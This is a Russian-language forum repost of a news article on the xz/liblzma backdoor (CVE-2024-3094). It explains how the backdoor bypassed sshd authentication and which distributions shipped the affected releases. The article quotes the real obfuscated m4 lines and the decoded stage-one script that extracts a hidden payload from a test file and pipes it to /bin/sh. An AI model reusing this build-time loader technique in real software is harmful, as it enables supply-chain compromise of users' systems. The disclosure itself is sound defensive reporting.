В библиотеке xz/liblzma выявлен бэкдор, организующий вход через sshd

Новости мира unix. Хотите узнать секрет вечного счастья? Откройте страницу 246.
Ответить
acolyte
Аватара пользователя
Сообщения: 2575
Зарегистрирован: 20.08.2022

#

В библиотеке xz/liblzma выявлен бэкдор, организующий вход через sshd
Дата публикации:Fri, 29 Mar 2024 22:18:33 +0300




В пакете XZ Utils, включающем библиотеку liblzma и утилиты для работы со сжатыми данными в формате ".xz", выявлен бэкдор (CVE-2024-3094), позволяющий перехватывать и модифицировать данные, обрабатываемые приложениями, связанными с библиотекой liblzma. Основной целью бэкдора является сервер OpenSSH, в котором используется liblzma. Связывание sshd с уязвимой библиотекой позволяет получить доступ к SSH-серверу без аутентификации.



Бэкдор присутствовал в официальных выпусках 5.6.0 и 5.6.1, опубликованных 24 февраля и 9 марта, которые успели попасть в состав некоторых дистрибутивов и репозиториев, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide, openSUSE factory, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing.




Код активации бэкдора был хитро спрятан в m4-сценарии build-to-host.m4, используемых инструментарием automake при сборке. Указанные файлы входили в состав tar-архивов релизов, но отсутствовали в репозитории. При сборке в ходе выполнения запутанных обфусцированных операций на основе одного из архивов (bad-3-corrupt_lzma2.xz), применяемых для тестирования корректности работы, формировался объектный файл с вредоносным кодом, который включался в состав библиотеки liblzma и изменял логику работы некоторых её функций.



При использовании liblzma в приложениях изменения могли использоваться для перехвата или модификации данных, а также для влияния на работу приложений, таких как sshd. В частности, вредоносный код подменял функцию RSA_public_decrypt для обхода процесса аутентификации в sshd.



В частности, в файле m4/build-to-host.m4 использовались конструкции

gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
...
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'




В первой конструкции операция grep находила файл tests/files/bad-3-corrupt_lzma2.xz, при распаковке которого формировался сценарий:

####Hello####
#345U211267$^D330^W
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####





Новость позаимствована с opennet.ru
Ссылка на оригинал: https://www.opennet.ru/opennews/art.shtml?num=60877

Жизнь за Нер'зула!

Ответить